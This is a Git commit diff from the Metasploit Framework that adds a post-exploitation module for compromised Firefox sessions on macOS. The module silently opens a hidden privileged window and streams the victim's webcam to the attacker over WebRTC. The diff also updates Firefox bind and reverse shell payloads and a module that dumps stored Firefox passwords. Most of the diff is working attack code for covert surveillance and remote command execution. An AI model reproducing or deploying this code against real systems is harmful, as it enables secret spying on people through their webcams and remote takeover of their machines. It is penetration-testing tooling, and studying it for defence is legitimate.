Land #3427 - Adds webcam module for firefox privileged sessions on OSX

This commit is contained in:
sinn3r 2014-06-11 22:27:25 -05:00
commit 2a7227f443
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
11 changed files with 239 additions and 89 deletions

View File

@ -10,7 +10,7 @@
height: 480px;
width: 640px;
border-radius: 15px;
-moz-border-raidus: 15px;
-moz-border-radius: 15px;
background-color: black;
position: absolute;
left: 50;
@ -26,7 +26,7 @@
height: 180px;
width: 200px;
border-radius: 15px;
-moz-border-raidus: 15px;
-moz-border-radius: 15px;
background-color: #9B9B9B;
position: absolute;
top: 480;
@ -66,8 +66,9 @@
left: 10;
}
</style>
<script src="=WEBRTCAPIJS="> </script>
<script>
=WEBRTCAPIJS=
window.onerror = function(e) {
document.getElementById("message").innerHTML = "Error: " + e.toString();
}

View File

@ -2,6 +2,10 @@
<head>
<title>Video session</title>
<style type="text/css">
body {
background: #fff;
}
div.dot1 {
position: absolute;
width: 20px;
@ -84,8 +88,9 @@
}
</style>
<script src="api.js"> </script>
<script>
=WEBRTCAPIJS=
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
@ -136,10 +141,12 @@
};
window.onload = function() {
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
setTimeout(function(){
getUserMedia(function(stream) {
peer.addStream(stream);
peer.startBroadcasting();
});
}, 500);
};
function getUserMedia(callback) {

View File

@ -14,10 +14,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
# privileged javascript context
# @return [String] the results that were sent back. This can be achieved through
# calling the "send" function, or by just returning the value in +js+
def js_exec(js)
def js_exec(js, timeout=30)
print_status "Running the privileged javascript..."
session.shell_write("[JAVASCRIPT]#{js}[/JAVASCRIPT]")
session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
end
# Puts the shellcode into memory, adds X flag, and calls it

View File

@ -16,6 +16,37 @@ module Msf::Payload::Firefox
|
end
# Javascript source of readUntilToken(s)
# Continues reading the stream as data is available, until a pair of
# command tokens like [[aBcD123ffh]] [[aBcD123ffh]] is consumed.
#
# Returns a function that can be passed to the #onDataAvailable callback of
# nsIInputStreamPump that will buffer until a second token is read, or, in
# the absence of any tokens, a newline character is read.
#
# @return [String] javascript source code that exposes the readUntilToken(cb) function
def read_until_token_source
%Q|
var readUntilToken = function(cb) {
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var buffer = '', m = null;
return function(request, context, stream, offset, count) {
buffer += NetUtil.readInputStreamToString(stream, count);
if (buffer.match(/^(\\[\\[\\w{8}\\]\\])/)) {
if (m = buffer.match(/^(\\[\\[\\w{8}\\]\\])([\\s\\S]*)\\1/)) {
cb(m[2]);
buffer = '';
}
} else if (buffer.indexOf("\\n") > -1) {
cb(buffer);
buffer = '';
}
};
};
|
end
# Javascript source code of readFile(path) - synchronously reads a file and returns
# its contents. The file is deleted immediately afterwards.
#
@ -189,4 +220,5 @@ module Msf::Payload::Firefox
(new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
|
end
end

View File

@ -9,6 +9,7 @@ class Msf::Post < Msf::Module
require 'msf/core/post_mixin'
require 'msf/core/post/file'
require 'msf/core/post/webrtc'
require 'msf/core/post/linux'
require 'msf/core/post/osx'

View File

@ -0,0 +1,57 @@
# -*- coding: binary -*-
module Msf::Post::WebRTC
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
interface.gsub!(/\=SERVER\=/, server)
interface.gsub!(/\=RHOST\=/, rhost)
interface.gsub!(/\=CHANNEL\=/, channel)
interface.gsub!(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new(['answerer', '.html'])
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code)
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end

View File

@ -18,6 +18,7 @@ class Webcam
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::WebRTC
def initialize(client)
@client = client
@ -195,66 +196,6 @@ class Webcam
end
end
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
api = load_api_code
tmp_api = Tempfile.new('api.js')
tmp_api.binmode
tmp_api.write(api)
tmp_api.close
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
interface = interface.gsub(/\=RHOST\=/, rhost)
interface = interface.gsub(/\=CHANNEL\=/, channel)
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new('answerer.html')
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end
end; end; end; end; end; end

View File

@ -6,6 +6,7 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
@ -23,22 +24,14 @@ module Metasploit3
'Arch' => ARCH_FIREFOX,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'firefox',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
'PayloadType' => 'firefox'
))
end
#
# Constructs the payload
#
def generate
super + command_string
end
#
# Returns the JS string to use for execution
#
def command_string
def generate
%Q|
(function(){
Components.utils.import("resource://gre/modules/NetUtil.jsm");
@ -59,16 +52,17 @@ module Metasploit3
}
};
#{read_until_token_source}
var clientListener = function(outStream) {
return {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
onDataAvailable: readUntilToken(function(data) {
runCmd(data, function(err, output) {
if(!err) outStream.write(output, output.length);
});
}
})
};
};

View File

@ -6,6 +6,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
@ -45,15 +46,16 @@ module Metasploit3
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
#{read_until_token_source}
var listener = {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
onDataAvailable: readUntilToken(function(data) {
runCmd(data, function(err, output) {
if (!err) outStream.write(output, output.length);
});
}
})
};
#{run_cmd_source}
@ -63,4 +65,5 @@ module Metasploit3
EOS
end
end

View File

@ -37,8 +37,12 @@ class Metasploit3 < Msf::Post
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
end
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
print_good("Saved #{passwords.length} passwords to #{file}")
if passwords.length > 0
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
print_good("Saved #{passwords.length} passwords to #{file}")
else
print_warning("No passwords were found in Firefox.")
end
rescue JSON::ParserError => e
print_warning(results)
end

View File

@ -0,0 +1,109 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
include Msf::Post::WebRTC
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell',
'Description' => %q{
This module allows streaming a webcam from a Firefox Privileged Javascript Shell.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'DisclosureDate' => 'May 13 2014'
))
register_options([
OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]),
OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]),
OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]),
OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80'])
], self.class)
end
def run
unless os_check
print_error "Windows versions of Firefox are not supported at this time [RM #8810]."
return
end
server = datastore['ICESERVER']
offerer_id = Rex::Text.rand_text_alphanumeric(10)
channel = Rex::Text.rand_text_alphanumeric(20)
result = js_exec(js_payload(server, offerer_id, channel))
if datastore['CLOSE']
print_status "Stream closed."
else
if result.present?
print_status result
connect_video_chat(server, channel, offerer_id)
else
print_warning "No response received"
end
end
end
def os_check
user_agent = js_exec(%Q|
return Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|)
user_agent !~ /windows/i
end
def js_payload(server, offerer_id, channel)
interface = load_interface('offerer.html')
api = load_api_code
interface.gsub!(/\=SERVER\=/, server)
interface.gsub!(/\=CHANNEL\=/, channel)
interface.gsub!(/\=OFFERERID\=/, offerer_id)
if datastore['TIMEOUT'] > 0
api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); "
end
url = if datastore['CLOSE']
'"about:blank"'
else
'"data:text/html;base64,"+html'
end
name = if datastore['VISIBLE']
Rex::Text.rand_text_alphanumeric(10)
else
'_self'
end
%Q|
(function(send){
try {
var AppShellService = Components
.classes["@mozilla.org/appshell/appShellService;1"]
.getService(Components.interfaces.nsIAppShellService);
var html = "#{Rex::Text.encode_base64(interface)}";
var url = #{url};
AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600');
send("Streaming webcam...");
} catch (e) {
send(e);
}
})(send);
|
end
end